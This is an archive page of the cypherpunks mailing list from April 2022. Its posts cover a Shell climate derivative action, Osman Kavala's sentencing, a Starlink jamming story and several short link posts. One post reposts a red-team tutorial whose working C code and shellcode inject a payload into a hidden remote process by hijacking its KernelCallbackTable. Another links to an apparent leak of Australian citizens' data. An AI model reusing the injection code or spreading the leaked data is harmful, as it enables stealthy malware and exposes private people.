April 2022 - cypherpunks - lists.cpunks.org

ESG Disputes in England: ClientEarth’s Derivative Action Against Shell’s Board Signals That The English Courts May Be Considered An Increasingly Attractive Forum
by Gunnar Larson 26 Apr '22

26 Apr '22

ClientEarth’s claim The 2021 decision in *Milieudefensie et al. v Royal Dutch Shell plc*, handed down by the Hague District Court, marked the first major case to hold a multinational corporation responsible for environmental damage. While the Netherlands remain some way ahead of England as a forum of choice for ESG-related litigation, recent developments suggest that the position is beginning to change. On 15 March 2022, ClientEarth, a non-profit environmental law organisation that is also a shareholder in Shell plc, took the first steps in commencing a derivative action <https://www.clientearth.org/latest/latest-updates/news/we-re-taking-legal-a…>in England against Shell’s 13 executive and non-executive directors. ClientEarth asserts that Shell’s board of directors is personally liable for the company’s failure to manage its climate risk; that is, to implement a climate strategy that truly aligns with the Paris Agreement, including its failure to produce operating plans and budgets that reflect the company’s “target to become a net-zero emissions energy business by 2050 <https://www.shell.com/media/news-and-media-releases/2021/shell-accelerates-…> ”. Pointing to a number of issues that it describes as “serious shortcomings” ClientEarth asserts that, in failing to manage the company’s climate risk, the board members have purportedly breached their statutory duties under English law, specifically the duty to promote the success of the company pursuant to section 172 of the Companies Act 2006. Section 172 of the Companies Act 2006 provides that a director must act in the way that he considers, in good faith, would be most likely to promote the success of the company for the benefit of its members as a whole. In doing so, directors must have regard to a non-exhaustive list of matters, including the likely consequences of the decision in the long-term and the impact of the company’s operations on the community and the environment. In the present context, where a company’s climate risk poses a foreseeable and material financial risk to the company, and where the board of that company fails to properly consider that risk, or unreasonably fails to act in response to that risk, they could potentially face liability under section 172. What makes ClientEarth’s present claim particularly interesting is that it marks the first attempt to hold a company’s board of directors personally liable for mismanagement of the company’s climate risk. Interestingly, this development comes just a few months after Shell’s shareholders approved the relocation of the company’s headquarters to London from the Netherlands (a decision which, according to various unconfirmed press reports, may have been partly intended to mitigate the company’s exposure to future climate litigation in the Netherlands, bearing in mind the country’s precedent for ESG-related proceedings and following the 2021 *Milieudefensie *decision). At present, the English claim is in its infancy. ClientEarth’s FAQs statement <https://www.clientearth.org/media/puojyzvy/clientearth-shareholder-litigati…> relating to the claim indicates that a pre-action letter has been sent to Shell’s board, notifying it of the claim and giving it an opportunity to respond. ClientEarth has stated that it will review that response, before formally filing the claim in the English High Court. Further recent developments in England In addition, two recent procedural decisions by the Supreme Court have demonstrated the English courts’ willingness to entertain claims that target UK parent companies for the ESG-related transgressions of their foreign subsidiaries. The Supreme Court’s judgments in* Vedanta Resources PLC and another (Appellants) v Lungowe and others (Respondents) <https://www.supremecourt.uk/cases/docs/uksc-2017-0185-judgment.pdf>* [2019] UKSC 20 (“Vedanta”) and *Okpabi & Ors v Royal Dutch Shell plc and Shell Petroleum Development Company of Nigeria Ltd <https://www.supremecourt.uk/cases/docs/uksc-2018-0068-judgment.pdf>* [2021] UKSC 3 (“Okpabi”) confirm that, in certain cases, statements in published documents and policies may provide some basis on which to find UK parent companies liable in tort for harm caused by their subsidiaries in foreign jurisdictions. The claimants in these cases relied on such statements to assert that the parents themselves owed a duty of care in connection with their subsidiaries’ ESG-related breaches. - In *Vedanta*, a group of Zambian citizens brought a claim against Vedanta Resources plc (a UK mining company, formerly listed on the London Stock Exchange) after a mine owned and operated by its Zambian subsidiary (KCM) discharged toxic matter into watercourses used for local irrigation and drinking. The English courts considered that the claimants were able to show a “good arguable case” (based on the specific facts) that Vedanta had exercised a sufficiently high level of supervision and control of activities at the mine so as to owe a duty of care to the claimants, meaning that the English courts had jurisdiction over the claim. In reaching its decision, the Court relied upon various public statements made by Vedanta demonstrating its involvement in KCM management (including a report entitled “Embedding Sustainability” which stated that oversight of all Vedanta’s subsidiaries rested with the Vedanta board, public statements regarding Vedanta’s commitment to addressing group-wide environmental control and sustainability standards, and the existence of a management services agreement between Vedanta and KCM). - In *Okpabi *it was alleged that numerous oil spills had occurred from oil pipelines and infrastructure operated in the vicinity of the claimants’ communities in Nigeria, causing widespread environmental damage including serious water and ground contamination. The claimants asserted that the spills were caused by the negligence of the pipeline operator, a Nigerian registered subsidiary of Royal Dutch Shell Plc, a UK domiciled company and the parent company of the multinational Shell group. Overturning the decision of the Court of Appeal, the Supreme Court held that, based on the specific facts, the UK parent exercised a degree of control over its subsidiary that was sufficient to establish that a duty of care existed. In reaching its decision, the Court placed weight on internal published documents said to demonstrate that the Shell group was deliberately structured in a way that enabled the UK parent to direct, control and intervene in the management of its subsidiaries’ operations. The judgments above relate to jurisdictional challenges where the claimants first needed to establish a “good arguable case” that a duty of care was owed by the UK parent in order that the English courts could then assert jurisdiction over the underlying claims. As at April 2022, neither *Vedanta *or *Okpabi *have been subject to a full trial on the merits and there are no substantive updates, although we continue to monitor developments. More broadly, we anticipate that these decisions will continue to pique the interests of claimant law firms and litigation funders who operate in the ESG sphere and, in due course, encourage similar claims in the English courts.

1 0

Adventures with KernelCallbackTable Injection
by zeynepaydogan 26 Apr '22

26 Apr '22

https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html Adventures with KernelCallbackTable Injection 21 Apr 2022 » [redteam](https://captmeelo.com/category/redteam), [maldev](https://captmeelo.com/category/maldev) Lately, I came across with KernelCallbackTable which could be abused to inject shellcode in a remote process. This method of process injection was used by [FinFisher/FinSpy](https://www.microsoft.com/security/blog/2018/03/01/finfis… and [Lazarus](https://blog.malwarebytes.com/threat-intelligence/2022/01/north-ko…. This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted. The Problems When I Googled about this technique, the very first result that I got was none other than the [post](https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/) written by [modexpblog](https://twitter.com/modexpblog). So for this experiment, I used the [code](https://github.com/odzhan/injection/blob/master/kct/kct.c) he provided as my basis and slightly modified it. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Shell_TrayWnd" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); // Restore original KernelCallbackTable WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & peb . KernelCallbackTable , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Original KernelCallbackTable restored \n " ); // Release memory for code and data VirtualFreeEx ( hProcess , payloadAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); VirtualFreeEx ( hProcess , newKCTAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); // Close handles CloseHandle ( hWindow ); CloseHandle ( hProcess ); printf ( "[+] Cleaned up \n " ); } The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent. But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB. During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called. // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); [Explorer Crashed] What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code. HWND hWindow = FindWindow ( L"Notepad" , NULL ); And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage(). [Payload Executed but Target Process Crashed] The problems I see with this method are: - You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.) - The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.) - The crash is visible to the user. Other’s Solution [ORCA666](https://twitter.com/ORCA10K) found a way to solve this issue by not targeting explorer.exe and by loading [user32.dll in memory](https://gitlab.com/ORCA666/kcthijack/-/blob/main/KCTHijack/main.c#L…. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his [KCTHIJACK](https://gitlab.com/ORCA666/kcthijack) repo. His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process. My Solution Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do. First Attempt: FAILED! To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”. CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , & si , & pi ); Well, that didn’t work because a suspended process does not have any window in it. [Suspened Process has no Window] No window means no handle to obtain so injection and execution of payload are not possible. [ + ] Window Handle: 0x0000000000000000 [ + ] Process ID: 0 [ + ] Process Handle: 0x0000000000000000 [ + ] PEB Address: 0x0000020C2A583CC0 [ + ] KernelCallbackTable Address: 0x0000000000000000 [ + ] Payload Address: 0x0000000000000000 [ + ] __ fnCOPYDATA: 0x0000000000000000 [ + ] Remote process PEB updated [ + ] Payload executed [ + ] Original KernelCallbackTable restored [ + ] Cleaned up Second Attempt: FAILED! (again) Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following: si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen. [Created Process with Window] Third Attempt: SUCCESS! After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization. WaitForInputIdle ( pi . hProcess , 1000 ); Here’s the final code that I came up with. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Create a sacrifical process PROCESS_INFORMATION pi ; STARTUPINFO si = { sizeof ( STARTUPINFO ) }; si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_NEW_CONSOLE , NULL , NULL , & si , & pi ); // Wait for process initialization WaitForInputIdle ( pi . hProcess , 1000 ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Notepad" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); } > NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited. > The full project can be found [here](https://github.com/capt-meelo/KernelCallbackTable-Injection). And here it is in action. [Successful KernelCallbackTable Injection] Conclusion That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted. If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

3 4

#FreeSpeech Turkish court sentences Kavala to life imprisonment
by zeynepaydogan 26 Apr '22

26 Apr '22

https://www.reuters.com/world/middle-east/turkish-court-sentences-kavala-life-imprisonment-2022-04-25/ Since I was a minor, I've been volunteering for NGOs like Kavala.The Turkish court sentenced Osman Kavala to life imprisonment today. As a Turk,I believe in activism and freespeech. Osman Kavala is a true friend to human rights defenders

1 0

#FreeSpeech Kulturförderer Osman Kavala zu lebenslanger Haft verurteilt
by zeynepaydogan 26 Apr '22

26 Apr '22

https://www.zeit.de/politik/ausland/2022-04/tuerkei?utm_referrer=https%3A%2… Der türkische Kulturförderer Osman Kavala ist von einem[Istanbuler Gericht](https://www.zeit.de/thema/tuerkei)zu einer lebenslangen Haftstrafe verurteilt worden. Die drei Richter erließen das Urteil gegen 64-Jährigen wegen des Vorwurfs des versuchten Umsturzes der Regierung und ohne Möglichkeit auf Bewährung. Kavala ist seit vier Jahren im Hochsicherheitsgefängnis Sivrili nahe[Istanbul](https://www.zeit.de/thema/istanbul)inhaftiert, ohne dass bislang ein Urteil gegen ihn verhängt worden war. Ihm werden in einem Prozess in Istanbul ein Umsturzversuch im Zusammenhang mit den Gezi-Protesten sowie "politische und militärische Spionage" im Zusammenhang mit dem Putschversuch von 2016 vorgeworfen. Kavala weist die Vorwürfe strikt zurück. Auch in der letzten Verhandlung Ende März wies die gegen ihn erhobenen Anschuldigungen erneut zurück und bezeichnete sie als politisch motiviert."Meine andauernde Inhaftierung ist völlig unbegründet", sagte er. Das Urteil gegen Kavala wurde[dabei erneut vertagt](https://www.zeit.de/politik/ausland/2022-03/tuerkei-osman-kavala-urteil-untersuchungshaft). Auch in der letzten Verhandlung Ende März wies die gegen ihn erhobenen Anschuldigungen erneut zurück und bezeichnete sie als politisch motiviert. "Meine andauernde Inhaftierung ist völlig unbegründet", sagte er. Das Urteil gegen Kavala wurde[dabei erneut vertagt](https://www.zeit.de/politik/ausland/2022-03/tuerkei-osman-kavala-urteil-untersuchungshaft). "Die türkische Justiz ist am Ende" Deutsche Politiker kritisierten die Verurteilung. "Das Urteil gegen Osman Kavala und die anderen Angeklagten im Gezi-Verfahren fußt allein auf Lügen und Verschwörungstheorien", twitterte Bundesagrarminister Cem Özdemir. "Wir mussten hier einen politischen Schauprozess beobachten der seinesgleichen sucht. Die türkische Justiz ist am Ende." Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Im Herbst 2021 hatte der türkische Recep Tayyip Erdoğan mehrere westliche Botschafter, darunter aus den USA und aus Deutschland, mit der [Ausweisung](https://www.zeit.de/politik/deutschland/2021-10/osman-kavala-praesident-erdogan-botschafter-deutschland-usa-tuerkei) gedroht, nachdem sie sich für die Freilassung Kavalas eingesetzt hatten. Im letzten Moment rückte er jedoch [von dieser Maßnahme ab](https://www.zeit.de/politik/ausland/2021-10/tuerkei-ausweisung-deutscher-botschafter-bundesregierung-kritik-recep-tayyip-erdogan). Der Europarat leitete wegen Kavalas unrechtmäßiger Inhaftierung zudem ein Vertragsverletzungsverfahren gegen die [Türkei](https://www.zeit.de/thema/tuerkei) ein. Die[Türkei](https://www.zeit.de/thema/tuerkei)hatte zuvor eine [Anordnung](https://www.zeit.de/politik/ausland/2022-01/tuerkei-osman-kavala-europarat-verletzungsverfahren-haft-freilassung) des Europäischen Gerichtshofs für Menschenrechte (EGMR) zu Kavalas Freilassung ignoriert. Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Im Herbst 2021 hatte der türkische Recep Tayyip Erdoğan mehrere westliche Botschafter, darunter aus den USA und aus Deutschland, mit der [Ausweisung](https://www.zeit.de/politik/deutschland/2021-10/osman-kavala-praesident-erdogan-botschafter-deutschland-usa-tuerkei) gedroht, nachdem sie sich für die Freilassung Kavalas eingesetzt hatten. Im letzten Moment rückte er jedoch [von dieser Maßnahme ab](https://www.zeit.de/politik/ausland/2021-10/tuerkei-ausweisung-deutscher-botschafter-bundesregierung-kritik-recep-tayyip-erdogan). Der Europarat leitete wegen Kavalas unrechtmäßiger Inhaftierung zudem ein Vertragsverletzungsverfahren gegen die [Türkei](https://www.zeit.de/thema/tuerkei) ein. Die[Türkei](https://www.zeit.de/thema/tuerkei)hatte zuvor eine [Anordnung](https://www.zeit.de/politik/ausland/2022-01/tuerkei-osman-kavala-europarat-verletzungsverfahren-haft-freilassung) des Europäischen Gerichtshofs für Menschenrechte (EGMR) zu Kavalas Freilassung ignoriert.

1 0

Bayesian physics right up Mongs alley
by professor rat 25 Apr '22

25 Apr '22

At the 2021 Brain Connectivity Workshop, Friston asserted he has done nothing less than found a fourth branch of physics. You have Newtonian mechanics, quantum mechanics, and statistical mechanics (that is, thermodynamics), and now you can have Bayesian mechanics—the physics of systems which can exert a predictive control over their worlds. https://marginalrevolution.com/marginalrevolution/2022/04/fristons-theory-o…

1 0

Women less likely to recover from Antisemitism
by professor rat 25 Apr '22

25 Apr '22

Sorry - Long Covid not antisemitism. My bad. Women less likely to recover from long COVID — UK study DW (English) UK based study triggers health concerns, experts research COVID's long-term impact | WION WION Yesterday

1 0

Turkish police find body of missing young woman in motel water tank
by professor rat 25 Apr '22

25 Apr '22

Sorry - Mexican police, not Turkish - an intern has been disciplined. Mexican police find body of missing young woman in cistern 9News.com KUSA 17 hours ago Mexican police find body of missing 18-year-old law student Debanhi Escobar in motel water tank CBS News

1 0

Russia Tried to Hold Ukraine’s Internet Hostage, Then SpaceX Stepped In
by jim bell 25 Apr '22

25 Apr '22

https://news.yahoo.com/russia-tried-hold-ukraine-internet-165000633.html And now the Pentagon is green with envy. -------- - SpaceX’s successful intervention in Ukrainian satellite signal-jamming is a model for the Pentagon, officials say. - Russian electronic jamming affected Starlink satellite internet receivers sent to Ukraine. - SpaceX quickly issued a fix for the jam, something the Pentagon says current rules won’t allow the public sector to do. The U.S. Department of Defense is casting envious eyes on Elon Musk’s SpaceX after the aerospace company swiftly responded to an “electronic warfare attack” in Ukraine last month. SpaceX donated Starlink terminals to Ukraine to help the country stay connected in wartime, but Russian signal-jamming attempted to thwart those plans. The notoriously bureaucratic Pentagon says it’s a model for responding to threats that it can’t currently match—but desperately needs to. Back in February, Ukraine’s government appealed to SpaceX for a shipment of Starlink satellite internet terminals. The terminals supplemented Ukraine’s prewar internet infrastructure, which has seen reduced service due to damage from the war and Russian hacking. Starlink quickly shipped 5,000 terminals to Ukraine, with 3,667 donated by SpaceX and the remaining 1,333 purchased by the U.S. Agency for International Development. The first shipment of terminals arrived just two days after the appeal.

2 1

LEFT-Fascist shitcoin in circulation
by professor rat 25 Apr '22

25 Apr '22

All of this has relevance for the U.S., which has talked about looking into its own CBDC (or “Fedcoin,” as critics have labeled it). Mark Zuckerberg, testifying in front of Congress in 2019, even used China’s rapid development of a CBDC as an argument for why the U.S. should not interfere with Libra. https://decrypt.co/98315/the-beijing-olympics-was-the-coming-out-party-for-…

1 0

[LEAK] Australia Citizens
by zeynepaydogan 25 Apr '22

25 Apr '22

very Rat https://ufile.io/p4bkl5ov

1 0